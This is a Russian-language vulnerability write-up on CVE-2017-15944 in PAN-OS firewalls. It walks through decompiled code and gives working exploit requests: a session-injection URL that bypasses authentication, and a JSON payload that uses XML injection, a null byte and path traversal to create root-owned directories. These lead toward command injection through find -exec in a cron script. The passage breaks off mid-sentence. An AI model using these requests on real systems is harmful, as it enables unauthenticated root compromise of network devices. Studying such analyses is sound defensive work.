Palo Alto Networks — один из крупнейших секьюрити-провайдеров. Файрволы этой компании работают на собственной ОС с приятным русскому уху названием PAN-OS. В ней-то недавно и нашли уязвимости, которые приводят к удаленному исполнению кода от имени суперпользователя без какой-либо авторизации. Хочешь узнать, как такие серьезные ребята смогли так облажаться? Давай разберемся!
Всего было найдено три уязвимости в реализации веб-интерфейса управления аппаратными брандмауэрами. Цепочка из них позволяет выполнить произвольный код от имени суперпользователя и скомпрометировать всю систему. Они получили один идентификатор CVE-2017-15944. Давай посмотрим на них поближе.
Для тестирования подойдет любая из этих версий системы:
Да, уязвимы почти все актуальные ветки, но вот одна беда — просто так заполучить их не выйдет, потому что PAN-OS поставляется только в комплекте с фирменными аппаратными файрволами. Если у тебя завалялся такой под рукой, то ты, конечно же, можешь перейти на официальный сайт в раздел загрузок и скачать нужную прошивку. Если такой возможности нет, то, увы, поднять стенд не получится и придется наблюдать за ходом эксплуатации в статье. Если придумаешь иной способ, не забудь сообщить. ????
Разумеется, все функции панели управления закрыты от любопытных глаз при помощи логина и пароля, и первый баг, о котором пойдет речь, — это небольшой ее обход. В качестве веб-сервера в PAN-OS используется некая солянка из технологий, которая включает несколько самописных библиотек.
Конфигурационный файл /etc/appweb3/conf/common.conf
содержит список объектов, которые закрыты авторизацией. Выглядят такие секции следующим образом:
144: <Location /php/monitor> 145: SetHandler phpHandler 146: panAuthCheck on 147: </Location> 148: <Location /php/utils> 149: SetHandler phpHandler 150: panAuthCheck on 151: </Location> 152: <Location /php> 153: panAuthCheck on 154: </Location> 155: <Location /PAN_help> 156: panAuthCheck on 157: </Location> ... 162: <Location /upload> 163: panAuthCheck on 164: AddInputFilter uploadFilter 165: </Location>
Директивы panAuthCheck
, установленные в on
, закрывают указанный URI авторизационной формой. При попытке перейти по такому адресу текущая сессия пользователя проверяется на наличие валидной аутентификации. За это отвечает библиотека /usr/local/lib/shobjs/libpanApiWgetFilter.so
.
60: LoadModulePath "/usr/local/lib/shobjs:/usr/local/lib32/shobjs" 61: LoadModule panappweb3Module libpanappweb3 62: LoadModule panApiWgetFilter libpanApiWgetFilter 63: LoadModule panAuthFilter libpanApiWgetFilter
Затем функция openAuthFilter
проверяет наличие сессионной куки PHPSESSID
и передает управление функции readSessionVarsFromFile
для загрузки и извлечения нужных переменных (dloc
и user
) из файла сессии.
1282: void __cdecl openAuthFilter(MaQueue_0 *q) 1283: { ... 1310: if ( getCookieValues(&myFuncResult, ptrMyAuthFilter) ) ... 1320: v1 = maGetStageData(ptrMyAuthFilter->conn, "panAuthFilter.PHPSESSID"); ... 1321: hasSessionCookie = v1 != 0; 1322: if ( v1 != 0 ) 1323: { 1324: if ( readSessionVarsFromFile(ptrMyFuncResult, ptrMyAuthFilter) )
818: pan_result_t __cdecl readSessionVarsFromFile(ptrFuncResult result, ptrAuthFilter me) 819: { ... 845: ssid = myGetStageData(me->conn, "panAuthFilter.PHPSESSID"); ... 847: path = (pan_char_t *)__pan_calloc(me->allocator, 1, pathSize); 848: if ( path ) 849: { 850: sprintf(path, "%s%s%s", "/tmp/", "sess_", ssid); 851: fp = fopen(path, "r");
Проблемное место — это кастомная реализация алгоритма, который читает переменные сессии. Вместо того чтобы воспользоваться какой-нибудь стандартной функцией для работы с сериализованными данными, разработчики написали свою, которая основана на цепочке вызовов strtok
для разбиения строки на части.
886: fseek(fp, 0, 0); 887: if ( fread(buf, sbuf.st_size, 1u, fp) == 1 ) 888: { 889: fclose(fp); 890: buf[sbuf.st_size] = 0; 891: delim = "|"; 892: remaining = 0; 893: skey = strtok_r(buf, "|", &remaining); 894: do 895: { 896: if ( !skey ) 897: break; 898: if ( !remaining ) 899: break; 900: remaining2 = 0; 901: ptType = strtok_r(remaining, ":", &remaining2); 902: if ( !ptType ) 903: break; 904: strtok_r(0, ":", &remaining2); ... 920: skey = strtok_r(remaining2, delim, &remaining); ... 924: tSkeyValue = strtok_r(0, ";", &remaining2); 925: if ( *ptType == 115 ) 926: { 927: tSkey = 0; 928: if ( !strcasecmp("dloc", skey) ) 929: { 930: tSkey = "panAuthFilter.dloc"; 931: } 932: else if ( !strcasecmp("user", skey) ) 933: { 934: tSkey = "panAuthFilter.user"; 935: } 936: if ( tSkey && tSkeyValue && *tSkeyValue ) 937: { ... 950: skey = strtok_r(0, delim, &remaining2); 951: remaining = remaining2; ... 954: while ( skey && *skey != 10 ); 955: if ( !maGetStageData(me->conn, "panAuthFilter.user") ) 956: mprLog( 957: globalMpr, 958: 0, 959: "panAuthFilter:panAuthFiler: management cookie missing. file size %d", 960: sbuf.st_size); 961: if ( !maGetStageData(me->conn, "panAuthFilter.dloc") ) 962: mprLog(globalMpr, 0, "panAuthFilter:panAuthFilter: dloc cookie missing. file size %d", sbuf.st_size); 963: __pan_free(me->allocator, path, pathSize); 964: __pan_free(me->allocator, buf, bufSize); 965: v3 = 0; 966: }
Сам формат обрабатываемых данных похож на то, что возвращает функция serialize
в PHP.
имя_переменной|s:длина_переменной:"значение"; имя_переменной|s:длина_переменной:"еще_значение";
И так далее. Для разделения описаний переменных используется точка с запятой. Увы, такая реализация содержит логические изъяны, которые помогут нам в дальнейшей эксплуатации. Например, мы можем выполнять банальные инъекции, используя в качестве их значений последовательность ";
. Так можно управлять значением переменной user
.
Теперь осталось найти возможность, которая позволит нам записать данные в файл сессии. Посмотрим на скрипт cms_changeDeviceContext.esp
, в котором происходит работа с переменной $_SESSION
. Его можно вызвать без авторизации.
02: WebSession::start(); 03: require 'panmodule.php'; 04: 05: foreach ($_SESSION as $key => $value) { 06: if (strpos($key, "dSId_") === 0) { 07: unset($_SESSION[$key]); 08: } 09: } 10: /** @noinspection PhpUndefinedFunctionInspection */ 11: $string_argout = panUserSetDeviceLocation($_SESSION['user'], $_GET['device'], 0, new php_string_argout());
Функция panUserSetDeviceLocation
находится в подгружаемой библиотеке /usr/lib/php/modules/panmodule.so
.
455: extension_dir = "/usr/lib/php/modules" ... 552: extension=panmodule.so
Чтобы посмотреть, что происходит с переданными в функцию параметрами, нам пригодится дизассемблер IDA. Благо сейчас есть бесплатная версия — ее нам вполне хватит, потому что библиотека скомпилирована для архитектуры Intel 80386.
Атрибут deviceStr
попадает в функцию из URL параметра device
(переменная $_GET['device']
). Далее значение попадает в panPhpConvertStringToLoc
.
18464: pan_uint32_t __cdecl panUserSetDeviceLocation(char *cookie, char *deviceStr, int useWriteFmt, php_string_argout *string_argout) 18465: { ... 18498: if ( panPhpConvertStringToLoc(deviceStr, &dloc) )
Логика работы со значением примерно следующая.
Значение до первого двоеточия конвертируется в десятичное целое.
19354: strcpy(seps, ":"); ... 19362: v3 = __strtok_r(strCopy, seps, (char **)tmpBuf); 19363: if ( v3 ) ... 19377: loc->loc = strtol(v3, 0, 10);
Производится поиск следующего двоеточия, и данные между двумя двоеточиями копируются в переменную deviceName
. Размер данных равен максимум 0x20 байтам. Если переданное значение оказалось большего размера, то все остальное отбрасывается.
19370: if ( v4 == 1 ) 19371: sstrncpy(loc->deviceName, v3, 32);
Далее идет поиск следующего символа с двоеточием и выполняется аналогичная операция, только для переменной vsysName
.
19373: sstrncpy(loc->vsysName, v3, 32);
После этого полученная переменная deviceName
отправляется в функцию panPhpSetDeviceForSession
для дальнейшей обработки.
18505: v4 = panPhpSetDeviceForSession(cookie, dloc.deviceName, errMsg, 0x200u); ... 20823: signed int __cdecl panPhpSetDeviceForSession(pan_char_t *cookie, pan_char_t *devName, pan_char_t *errMsgBuf, pan_uint32_t bufSize) 20824: { ... 20829: pan_char_t firstVsys[32]; // [sp+30h] [bp-2Ch]@6 ... 20846: sstrncpy(firstVsys, "vsys1", 32);
В процессе выполнения этой функции происходит вызов panPhpSetDeviceAndVsysForSession
, которая устанавливает значения переменных dloc
и loc
в соответствии с переданными данными.
19328: panPhpSetSessionVar("dloc", tmpLocStr); 19329: tmpLoc.loc = (unsigned int)panSwalIsVsysName(vsysName) < 1 ? 128 : 16; 19330: if ( vsysName ) 19331: { 19332: if ( !*vsysName ) 19333: tmpLoc.loc = 8; 19334: sstrncpy(tmpLoc.vsysName, vsysName, 32); 19335: panPhpConvertLocToString(&tmpLoc, tmpLocStr, 0x100u); 19336: panPhpSetSessionVar("loc", tmpLocStr);
Сделаем вот такой запрос:
https://panos.visualhack:4443/esp/cms_changeDeviceContext.esp?device=1024:aaaa:bbbb
После чтения данных сессии переменные будут иметь следующие значения:
dloc|s:6:"8:aaaa";loc|s:13:"16:aaaa:vsys1"; dloc|s:6:"8:aaaa"; loc|s:13:"16:aaaa:vsys1"; dloc = "8:aaaa" loc = "16:aaaa:vsys1"
Теперь при каждом запросе будет проверяться валидность сессии при помощи panCheckSessionExpired
, в рамках которой будет выполняться panBuildQueryCheckSessionExpired
из уже известной нам библиотеки /usr/local/lib/shobjs/libpanApiWgetFilter.so
.
1058: pan_result_t __cdecl panCheckSessionExpired(ptrFuncResult result, ptrAuthFilter me) 1059: { ... 1079: retval = panBuildQueryCheckSessionExpired(&myFuncResult, me, 0);
1037: pan_result_t __cdecl panBuildQueryCheckSessionExpired(ptrFuncResult result, ptrAuthFilter me, bool refresh) 1038: { 1039: pan_char_t *user; // ST1C_4@1 1040: const char *v4; // eax@2 1041: int v6; // [sp+Ch] [bp-1Ch]@1 1042: 1043: user = myGetStageData(me->conn, "panAuthFilter.user"); 1044: pan_string_buffer_appendf(result->data.str, "<request cmd='op' cookie='%s' %s", user, &unk_8665); 1045: if ( refresh ) 1046: v4 = "yes"; 1047: else 1048: v4 = "no"; 1049: pan_string_buffer_appendf(result->data.str, " refresh='%s'>", v4, v6); 1050: pan_string_buffer_append(result->data.str, "<operations xml='yes'><show><cli><idle-timeout/></cli></show>"); 1051: pan_string_buffer_append(result->data.str, "</operations></request>"); 1052: return 0; 1053: }
Эта функция формирует XML-запрос к бэкенду, который должен дать ответ о жизнеспособности используемой сессии.
Чтобы выполнение перешло в эту ветку кода, нужна переменная user
. Это не проблема, ведь у нас на примете имеется не совсем корректно написанный парсер данных из файла сессии. Все, что нам нужно, — это заинжектить требуемую переменную.
https://panos.visualhack:4443/esp/cms_changeDeviceContext.esp?device=1024:aaaa%27";user|s:
Здесь:
dloc|s:15:"8:aaaa'";user|s";loc|s:22:"16:aaaa'";user|s:vsys1"; dloc|s:15:"8:aaaa'"; user|s";loc|s:22:"16:aaaa'"; user|s:vsys1";
После такого запроса переменная user
(panAuthFilter.user
) становится равной 16:aaaa'
. А результатом работы функции panBuildQueryCheckSessionExpired
будет следующий XML-запрос:
<request cmd='op' cookie='16:aaaa'' refresh='no'> <operations xml='yes'> <show><cli><idle-timeout/></cli></show> </operations> </request>
Дополнительная одинарная кавычка делает XML невалидным, и парсер вернет ошибку вида
<response status="error" code="18"> <msg> <line>Malformed Request</line> </msg> </response>
Однако функция panCheckSessionExpired
все равно вернет единицу, это будет означать, что аутентификация пройдена и сессия валидна.
1337: if ( panCheckSessionExpired(ptrMyFuncResult, ptrMyAuthFilter) == 2 ) 1338: { ... 1341: } 1342: else 1343: { 1344: mprLog(globalMpr, 9, "panAuthFilter:openAuthFilter %s We are done!!!", ptrMyAuthFilter->conn->request->url); 1345: }
Проверить успешность обхода авторизации можно на отладочной странице: https://panos.visualhack:4443/php/utils/debug.php
.
После создания такой сессии ты сможешь ходить по папкам, которые закрыты директивой panAuthCheck
.
Переходим к следующей уязвимости. Как и в любой современной системе, в PAN-OS имеется API. Чтобы делать прямые запросы к нему, можно использовать скрипт route.php
из папки с утилитами.
Однако доступ к скрипту возможен только для авторизованных пользователей. Это не проблема, ведь у нас уже имеется готовый обход. Так что смелее подставляй в запрос идентификатор сессии, полученный манипуляциями из прошлого раздела, и дело в шляпе.
3: require_once($_SERVER['DOCUMENT_ROOT'] . '/../htdocs/php/include/common.php'); 4: require_once($_SERVER['DOCUMENT_ROOT'] . '/../htdocs/php/include/ExtDirect.php'); 5: 6: class ExtDirect_Router extends RouterAbstract { 7: private $_api;
Нужный метод можно вызывать, указывая его название после router.php. Например, чтобы выполнить Administrator.get
, делаем запрос к https://panos.visualhack:4443/php/utils/router.php/Administrator.get. Все просто. По счастливой случайности это именно тот метод, что нам интересен. Сначала создается экземпляр класса ExtDirect_Router
, который является наследником RouterAbstract
.
6: class ExtDirect_Router extends RouterAbstract { 7: private $_api; ... 86: $router = new ExtDirect_Router(); 87: Http::headerType('json'); 88: echo $router->getResponse();
Метод getResponse
вызывает dispatch
, а в качестве аргумента использует данные, которые мы передаем в запросе в виде JSON.
111: public function getResponse(array $requestData=array()) { 112: if (empty($requestData)) 113: $requestData=$GLOBALS; 114: 115: return $this->dispatch($requestData); 116: }
25: private function dispatch(array $requestData) { 26: $request = $this->parseRequest($requestData);
Метод parseRequest
использует функцию json_decode
, чтобы представить переданные данные в виде объекта.
18: protected function parseRequest(array $requestData) { 19: if (isset($requestData['HTTP_RAW_POST_DATA'])) { 20: return json_decode($requestData['HTTP_RAW_POST_DATA']); 21: } 22: return null; 23: }
Возьмем такой более-менее валидный запрос.
{ "action": "PanDirect", "method": "execute", "data": [ "07c5807d0d927dcd0980f86024e5208b", "Administrator.get", { "changeMyPassword": true, "template": "asd", "id": "admin" } ], "type": "rpc", "tid": 713 }
После того как JSON конвертируется в объект, метод rpc
проверяет, существует ли указанный класс и метод из параметров action
и method
соответственно.
27: $response = $this->rpc($request);
49: private function rpc($request) { 50: try { 51: $class = Xml::escape($request->action); 52: $method = Xml::escape($request->method); 53: $tid = Xml::escape($request->tid); 54: $params = $request->data; 55: 56: $v=$this->isValidMethod($class, $method);
Следующим шагом создается объект класса, который указан в $request->action
, в нашем случае это PanDirect
. Последующий вызов call_user_func_array
приводит к выполнению PanDirect->execute
где в качестве параметров указаны данные из массива data
.
74: $instance= new $request->action; ... 77: $retval=call_user_func_array(array($instance,$method), $params);
Логика этого метода следующая.
59: function execute($callFunction, $jsonArgs) { 60: /* @var $reflection ReflectionClass */ 61: /* @var $method ReflectionMethod */ 62: list($reflection, $isStatic, $method) = $this->checkValidRemoteCall($callFunction, true); 63: if ($isStatic) { 64: return $method->invokeArgs(NULL, array($jsonArgs)); 65: } else { 66: $obj = $reflection->newInstanceArgs(array($jsonArgs)); 67: return $obj->$method(); 68: } 69: }
checkValidRemoteCall
выполняет проверку метода: объявлен он статическим или нет;
если да, то выполняется его прямой вызов. Если нет, то переменная $obj
становится экземпляром указанного класса. В нашем случае это Administrator
;
$obj->$method()
вызывает указанный метод, в нашем случае это get
.
Если в аргументах был указан флаг changeMyPassword
, то происходит вызов метода getConfigByXpath
.
10: class Administrator extends ManagementConfigAbstraction { ... 85: public function get() { ... 86: // detail viewer 87: if ( isset($this->jsonArgs->changeMyPassword) ) { 88: return Direct::getConfigByXpath("/config/mgt-config/users/entry[@name='" . $this->jsonArgs->id . "']");
Этот метод формирует xpath
, который будет отправлен бэкенду mgmtsrvr
.
688: static function getConfigByXpath($xpath, $attribute=null, $options=null) { 689: $req = XmlRequest::get($xpath, $attribute); 690: return $xmlDoc = Backend::getArray($req, $options); 691: }
377: static function getArray($req, $options=NULL, $connectionOptions = null) { 378: $dom = self::getDom($req, $connectionOptions);
350: static function getDom($msg, $connectionOptions = null) { 351: $msg = self::massageMsg($msg); 352: $data = self::getConnection()->send($msg, $connectionOptions);
07: class MSConnection { ... 43: function send($requestXml, $connectionOptions = null) { ... 50: $this->writePayload($requestXml, $payloadLength);
07: class MSConnection { ... 95: public function writePayload(& $requestXml, $payloadLength) { 96: socket_write($this->sock, $requestXml, $payloadLength); 97: }
В результате на сервер уходит вот такой XML:
<request cmd="get" obj="/config/mgt-config/users/entry[@name='admin']" cookie="cb3824b1b1fd3ac7138682ed67e03b8e"/></request>
При обработке полученного запроса демон mgmtsrvr
выполняет функцию pan_mgmtsrvr_client_svc
.
3603: void *__cdecl __noreturn pan_mgmtsrvr_client_svc(void *arg) 3604: {
И наконец, отрабатывает pan_jobmgr_store_job_result
из огромной библиотеки /usr/local/lib/libpanmp_mp.so.1
. Функция создает временный файл XML в директории /opt/pancfg/session/pan/user_tmp/{cookie}/{jobid}.xml
, где cookie
— это атрибут из тега request
.
401430: signed int __usercall pan_jobmgr_store_job_result@<eax>(int a1@<eax>, int a2@<edx>) 401431: { ... 401440: if ( a1 ) 401441: { 401442: snprintf(&v5, 0x400u, "%s%s", "/opt/pancfg/session/pan/user_tmp/", *(_DWORD *)(a1 + 476)); 401443: if ( pan_dir_create_tree(&v5) >= 0 )
Вот здесь и закралась проблема. Парсер никак не фильтрует пользовательские данные, поэтому возможна XML-инъекция, благодаря которой мы можем указать атрибут cookie
. При обработке этой задачи будет создана папка с произвольным именем. А используя технику path traversal, мы можем выйти из указанной папки и создать директорию в любом месте на диске, так как все это дело отрабатывает от рута. ????
Вот такой запрос будет создавать папку jbfc в директории tmp:
{ "action": "PanDirect", "method": "execute", "data": [ "07c5807d0d927dcd0980f86024e5208b", "Administrator.get", { "changeMyPassword": true, "template": "asd", "id": "admin']" async-mode='yes' refresh='yes' сookie='../../../../../../tmp/jbfc'/>u0000" } ], "type": "rpc", "tid": 713 }
Чтобы отбросить те атрибуты, которые добавляет вызов XmlRequest::get($xpath, $attribute)
, воспользуемся старым добрым null-байтом.
39: static function get($xpath, $attributes = null) { 40: return sprintf('<request cmd='get' obj="%s" cookie="%s"%s></request>', 41: $xpath, Session::cookie(), self::appendAttributes($attributes)); 42: }
Наконец-то мы приблизились к самому интересному — выполнению произвольных команд в системе.
Такие сложные системы не обходятся без планировщика заданий, вот и здесь крутится демон cron и выполняет разные скрипты. Один из них — это /usr/local/bin/genindex_batch.sh
, он вызывает /usr/local/bin/genindex.sh
, который отвечает за переиндексацию данных в БД.
9: /usr/local/bin/genindex.sh $date >> /var/log/pan/indexgen.log 2>&1
Здесь есть интересный кусок кода, который выполняет поиск файлов в директории $PAN_BASE_DIR/logdb/$dir/1
(/opt/pancfg/mgmt/logdb/$dir/1).
2: export PAN_BASE_DIR=/opt/pancfg/mgmt
222: echo "Updating indices for $db db" 223: for day in `find $PAN_BASE_DIR/logdb/$dir/1 -mindepth 1 -maxdepth 1 -mtime -30 | sort -r`
Затем скрипт пробегает по полученному списку и выполняет некие команды. Нас интересуют не сами команды, а то, что имя директории (переменная $day
) попадает в исполняемую строку.
227: for logfile in `find $day -mmin +5 -name pan.*.log | sort -r`
Теперь, используя описанную технику создания директорий с произвольным именем, мы сможем внедрить параметры в вызов бинарника find. Далеко ходить не нужно, ведь у него есть замечательный параметр [-exec](http://man7.org/linux/man-pages/man1/find.1.html)
.
Название говорит само за себя: после каждого найденного файла выполняется указанная там команда. UNIX-подобные системы относятся к названиям файлов и каталогов далеко не так строго, как Windows. По большому счету запрещены только символы слеша (/
) и null-байт (